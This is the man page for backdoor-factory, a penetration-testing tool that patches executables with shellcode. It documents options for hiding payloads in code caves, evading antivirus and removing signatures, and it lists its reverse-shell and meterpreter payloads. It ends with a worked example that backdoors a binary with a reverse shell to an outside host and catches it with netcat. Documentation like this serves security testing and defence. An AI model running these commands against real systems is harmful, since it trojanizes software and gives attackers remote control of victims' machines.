BACKDOOR-FACTORY(1) May 2017 BACKDOOR-FACTORY(1)

backdoor-factory - inject predefined or user-defined shellcode in binaries

backdoor-factory [options]

backdoor-factory patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

This tool is for security professionals and researchers only.

This tool doesn't support relocatable ELF executable (i.e. compiled with the -fPIE option, suggested by the Debian hardening requirements, see https://wiki.debian.org/Hardening)

Binaries such as ssh may not be caved correctly, as binaries such as dolphin (at the time of this man page is written) are.

-h, --help
show this help message and exit

-f FILE, --file=FILE
File to backdoor

-s SHELL, --shell=SHELL
Payloads that are available for use. Use 'show' to see payloads.

-H HOST, --hostip=HOST
IP of the C2 for reverse connections.

-P PORT, --port=PORT
The port to either connect back to for reverse shells or to listen on for bind shells

-J, --cave_jumping
Select this options if you want to use code cave jumping to further hide your shellcode in the binary.

-a, --add_new_section
Mandating that a new section be added to the exe (better success) but less av avoidance

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
User supplied shellcode, make sure that it matches the architecture that you are targeting.

-c, --cave
The cave flag will find code caves that can be used for stashing shellcode. This will print to all the code caves of a specific size.The -l flag can be use with this setting.

-l SHELL_LEN, --shell_length=SHELL_LEN
For use with -c to help find code caves of different sizes

-o OUTPUT, --output-file=OUTPUT
The backdoor output file path. Parent dir(s) must exist

-n NSECTION, --section=NSECTION
New section name must be less than seven characters

-d DIR, --directory=DIR
This is the location of the files that you want to backdoor. You can make a directory of file backdooring faster by forcing the attaching of a codecave to the exe by using the -a setting.

-w, --change_access
This flag changes the section that houses the codecave to RWE. Sometimes this is necessary. Enabled by default. If disabled, the backdoor may fail.

-i, --injector
This command turns the backdoor factory in a hunt and shellcode inject type of mechanism. Edit the target settings in the injector module.

-u SUFFIX, --suffix=SUFFIX
For use with injector, places a suffix on the original file for easy recovery

-D, --delete_original
For use with injector module. This command deletes the original file. Not for use in production systems.
(Author not responsible for stupid uses.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Starting point on disk offset, in bytes. Some authors want to obfuscate their on disk offset to avoid reverse engineering, if you find one of those files use this flag, after you find the offset.

-S, --support_check
To determine if the file is supported by BDF prior to backdooring the file. For use by itself or with verbose. This check happens automatically if the backdooring is attempted.

-M, --cave-miner
Future use, to help determine smallest shellcode possible in a PE file

-q, --no_banner
Kills the banner.

-v, --verbose
For debug information output.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x86, or x64 type binaries only. Default=ALL

-Z, --zero_cert
Allows for the overwriting of the pointer to the PE certificate table effectively removing the certificate from the binary for all intents and purposes.

-R, --runas_admin
EXPERIMENTAL Checks the PE binaries for 'requestedExecutionLevel level="highestAvailable"'. If this string is included in the binary, it must run as system/admin. If not in Support Check mode it will attmept to patch highestAvailable into the manifest if requestedExecutionLevel entry exists.

-L, --patch_dll
Use this setting if you DON'T want to patch DLLs. Patches by default.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
For MACH-O format. If fat file, focus on which arch to patch. Default is x64. To force x86 use -F x86, to force both archs use -F ALL.

-B BEACON, --beacon=BEACON
For payloads that have the ability to beacon out, set the time in secs

-m PATCH_METHOD, --patch-method=PATCH_METHOD
Patching methods for PE files, 'manual','automatic', replace and onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
For onionduke. Provide your desired binary.

-X, --xp_mode
Default: DO NOT support for XP legacy machines, use -X to support XP. By default the binary will crash on XP machines (e.g. sandboxes)

-A, --idt_in_cave
EXPERIMENTAL By default a new Import Directory Table is created in a new section, by calling this flag it will be put in a code cave. This can cause bianry failure is some cases. Test on target binaries first.

-C, --code_sign
For those with codesigning certs wishing to sign PE binaries only. Name your signing key and private key signingcert.cer and signingPrivateKey.pem respectively in the certs directory it's up to you to obtain signing certs.

-p, --preprocess
To execute preprocessing scripts in the preprocess directory

There is various predefined shellcode in backdoor-factory. Their availability depends on the target type (ELF32, ELF64, PE32...). The shellcodes list is defined below.

reverse_shell_tcp
need: a remote host and port to be set
permits: remote shell access

delay_reverse_shell_tcp
need: a remote host and port to be set
permits: remote shell access

beaconing_reverse_shell_tcp
need: a beacon, a remote host and port to be set
permits: remote shell access

user_supplied_shellcode
need: a user-defined shellcode ready to inject
permits: depend on the shellcode

reverse_tcp_stager
need:
permits:

reverse_shell_tcp_inline
needs: a remote host and port to be set
permits: remote shell access

reverse_shell_tcp_stager_threaded
needs: a remote host and port to be set
permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload

meterpreter_reverse_https_threaded
needs: a remote host and port to be set
permits: meterpreter over https transport

user_applied_shellcode_threaded
needs: a user-defined shellcode ready to inject
permits: depend on the shellcode

iat_reverse_tcp_inline
needs: a remote host and port to be set
permits:

iat_reverse_tcp_inline_threaded
needs: a remote host and port to be set
permits:

iat_reverse_tcp_stager_threaded
needs: a remote host and port to be set
permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload

iat_user_applied_shellcode_threaded
needs: a user-defined shellcode ready to inject
permits: depend on the shellcode

delay_reverse_shell_tcp
needs: a remote host and port to be set
permits: remote shell access

reverse_shell_tcp
needs: a remote host and port to be set
permits: remote shell access

beaconing_reverse_shell_tcp
needs:a beacon, a remote host and port to be set
permits: remote shell access

user_supplied_shellcode
needs: a user-defined shellcode ready to inject
permits: depend on the shellcode

Example of cavecoding an ELF binary, by integrating a remote shell access through a remote TCP listener (e.g. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

On the host behind the IP 172.16.0.15, start netcat in listen mode:

$ netcat -l 172.16.0.15 8080

On the target, start the backdoored binary: ./backdoored/dolphin

Now, on the host 172.16.0.15, just use your shell.

May 2017, Originally compiled by Philippe Thierry (phil at reseau-libre dot com)

Backdoor-Factory Man Page Philippe Thierry
QR Code